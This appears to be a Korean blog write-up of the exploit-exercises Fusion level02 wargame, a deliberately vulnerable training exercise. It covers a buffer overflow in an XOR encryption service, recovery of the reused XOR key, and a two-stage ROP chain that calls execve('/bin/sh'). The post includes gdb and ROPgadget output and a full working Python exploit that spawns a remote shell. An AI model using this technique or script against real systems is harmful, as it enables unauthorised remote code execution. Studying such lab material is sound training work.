본문 바로가기
Wargame/exploit-exercises

[exploit-exercises] fusion level02

by bbolmin 2014. 4. 25.



[ fusion level02 ]



 1#include "../common/common.c"  
 2
 3#define XORSZ 32
 4
 5void cipher(unsigned char *blah, size_t len)
 6{
 7  static int keyed;
 8  static unsigned int keybuf[XORSZ];
 9
10  int blocks;
11  unsigned int *blahi, j;
12
13  if(keyed == 0) {
14    int fd;
15    fd = open("/dev/urandom", O_RDONLY);
16    if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
17    close(fd);
18    keyed = 1;
19  }
20
21  blahi = (unsigned int *)(blah);
22  blocks = (len / 4);
23  if(len & 3) blocks += 1;
24
25  for(j = 0; j < blocks; j++) {
26    blahi[j] ^= keybuf[j % XORSZ]; 
27  }
28}
29
30void encrypt_file()
31{
32  // http://thedailywtf.com/Articles/Extensible-XML.aspx
33  // maybe make bigger for inevitable xml-in-xml-in-xml ?
34  unsigned char buffer[32 * 4096]; 
35
36  unsigned char op;
37  size_t sz;
38  int loop;
39
40  printf("[-- Enterprise configuration file encryption service --]\n");
41  
42  loop = 1;
43  while(loop) {
44    nread(0, &op, sizeof(op));
45    switch(op) {
46      case 'E':
47        nread(0, &sz, sizeof(sz));
48        nread(0, buffer, sz);
49        cipher(buffer, sz);
50        printf("[-- encryption complete. please mention " 
51        "474bd3ad-c65b-47ab-b041-602047ab8792 to support " 
52        "staff to retrieve your file --]\n");
53        nwrite(1, &sz, sizeof(sz));
54        nwrite(1, buffer, sz);
55        break;
56      case 'Q':
57        loop = 0;
58        break;
59      default:
60        exit(EXIT_FAILURE);
61    }
62  }
63    
64}
65
66int main(int argc, char **argv, char **envp)
67{
68  int fd;
69  char *p;
70
71  background_process(NAME, UID, GID);  
72  fd = serve_forever(PORT);
73  set_io(fd);
74
75  encrypt_file();
76}



Non-Executable stackYes
Non-Executable heapYes
Address Space Layout RandomisationYes


exploit 환경은 ASLR, NX가 존재한다. 따라서 ROP를 이용해서 exploit을 작성해야 한다.


일단 소스코드를 분석해보자.

프로그램은 암호화해서 출력해주는 아래와 같은 function calls로 루프를 반복하고 있다.


nread(option), nread(size), nread(data), cipher, write(size), write(data)


여기서 3번째 nread에서 buffer[32*4096]에 입력을 받는데 입력 사이즈를 2번째 nread에서 결정한다. 따라서 해당 지점에서 overflow를 일으킬 수 있게된다. 여기서 한가지 신경써줘야할 부분이 있는데 cipher함수 부분에서 입력받은 data를 암호화 한다는 것이다. 즉 payload를 입력하면 암호화되서 제대로 동작시킬 수 없게된다.


하지만 cipher함수를 보면 랜덤하게 키를 가져오는 부분은 static keyed로 인하여 위의 루프 중에 한번 밖에 수행되지 않는 것을 볼 수 있다. 따라서 \x00을 보내서 간단하게 xor 키를 가져올 수 있다. 


그럼 payoad를 구성하고 뽑아온 xor 키를 이용해서 payload를 다시 인코딩시켜 주면되겠다.





[ payload 작성 ]





스택 구조                 => | buf (32*4096) | dummy |   ebp  |    ret    |

overflow 후              => | buf (32*4096) | dummy | &.bss |   &recv |  &(leave-ret) | fd(0) | &.bss | rsize |

&.bss(custom stack) => | dummy(next ebp) | &execve | dummy(next ret) | &"/bin/sh" | &(&"/bin/sh") | &NULL | &"/bin/sh" | NULL | "/bin/sh" |



* stage2로 나눠서 고정된 주소의 custom stack을 사용하는 이유는 execve 인자 값으로 와야할 "/bin/sh" 등의 문자열의 주소를 알아야 하기 때문이다. (fake ebp를 사용하여 custom stack 이용)


ref) execve 


char *str[2];

str[0] = "/bin/sh";

str[1] = NULL;

execve(str[0], str, NULL);





root@fusion:/opt/ROPgadget-v3.3# ./ROPgadget -file ../level02  -g -asm "leave ; ret"

Gadgets information

============================================================

0x08048b41: "\xc9\xc3 <==> leave ; ret"

0x08048b83: "\xc9\xc3 <==> leave ; ret"

 ....





[*] dummy값 크기를 구하기 위해서 디버깅 


(gdb) set follow-fork-mode child

(gdb) disass encrypt_file

Dump of assembler code for function encrypt_file:

   0x080497f7 <+0>:     push   %ebp

...

   0x08049897 <+160>:   mov    %eax,0x4(%esp)

   0x0804989b <+164>:   lea    -0x2000c(%ebp),%eax

   0x080498a1 <+170>:   mov    %eax,(%esp)

   0x080498a4 <+173>:   call   0x8049735 <cipher>

   0x080498a9 <+178>:   movl   $0x8049e40,(%esp)

...


(gdb) b *encrypt_file+173

Breakpoint 1 at 0x80498a4: file level02/level02.c, line 49.


(gdb) c

Continuing.

[New process 1844]

[Switching to process 1844]


Breakpoint 1, 0x080498a4 in encrypt_file () at level02/level02.c:49

49      level02/level02.c: No such file or directory.

        in level02/level02.c

(gdb) info reg eax

eax            0xbfecaa7c       -1075008900



(gdb) x/40x 0xbfecaa7c + 131072

0xbfeeaa7c:     0x00000001      0xb7897ff4      0x00000000      0xbfeeaab8

0xbfeeaa8c:     0x0804995c      0x00000004      0x00004e22      0x00004e22

0xbfeeaa9c:     0xb7898324      0xb7897ff4      0xb7752c55      0x08049969


각각 : dummy(12byte) + ebp + ret





스택 구조                 => | buf (32*4096) | dummy(12) |   ebp  |    ret    |

overflow 후              => | buf (32*4096) | dummy(12) | &.bss |   &recv |  &(leave-ret) | fd(0) | &.bss | rsize |

&.bss(custom stack) => | dummy(next ebp) | &execve | dummy(next ret) | &"/bin/sh" | &(&"/bin/sh") | &NULL | &"/bin/sh" | NULL | "/bin/sh" |



필요한 주소값들을 구한 후 payload에 넣어준다.


read_plt : 0x8048860

leave-ret : 0x08048b41

&.bss : 0x0804B480

&execve : 0x80489b0




[ exploit code ]

from socket import socket, AF_INET, SOCK_STREAM
import struct

p = lambda x: struct.pack('<L', x)

HOST = '192.168.11.138'
PORT = 20002

import telnetlib
def telnet_cmd(s):
    print '[*] start shell'
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

def flush(s):
    import sys
    raw_input('flush;')
    data = s.recv(1024)
    while(len(data) == 1024):
        data = s.recv(1024)
        sys.stdout.write('')

        
def get_keybuf(s):
    s.send('E')
    s.send(p(128))
    s.send('\x00'*128)
    s.recv(1024)
    s.recv(5)
    data = s.recv(128)
    return data

def myCipher(data, keybuf):
    result = ''
    for i in range(len(data)):
        result += chr(ord(data[i])^ord(keybuf[i%128]))
    return result

    
read_plt = 0x8048860
leave_ret = 0x08048b41
bss = 0x0804B480
execve = 0x80489b0

#.bss address
payload2 = 'a'*4            #(0)dummy(next ebp)
payload2 += p(execve)       #(1)
payload2 += 'a'*4           #(2)dummy(next ret)
payload2 += p(bss+4*8)      #(3)&"/bin/sh"  
payload2 += p(bss+4*6)      #(4)&(&"/bin/sh")
payload2 += p(bss+4*7)      #(5)&NULL
payload2 += p(bss+4*8)      #(6)&"/bin/sh"  
payload2 += p(0)            #(7)NULL
payload2 += "/bin/sh\x00"   #(8)"/bin/sh"

#buffer address
payload = 'a'*(32*4096)     #buffer
payload += 'a'*12           #dummy
payload += p(bss)           #fake ebp - .bss(keybuf)
payload += p(read_plt)      #first ret - read plt
payload += p(leave_ret)     #next ret - (leave-ret)
payload += p(0)             #fd - stdin
payload += p(bss)           #read buf - .bss(keybuf)
payload += p(len(payload2)) #read size


##### exploit #####
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(1024)
s.recv(1024)

keybuf = get_keybuf(s)

s.send('E')
s.send(p(len(payload)))
s.send(myCipher(payload, keybuf))    #overflow
s.send('Q')                          #execute payload1
s.send(payload2)                     #execute payload2
flush(s)

telnet_cmd(s)
       







'Wargame > exploit-exercises' 카테고리의 다른 글

[exploit-exercises] fusion level01  (0) 2014.04.20
[exploit-exercises] fusion level00  (0) 2014.04.18
exploit-exercises  (0) 2013.09.11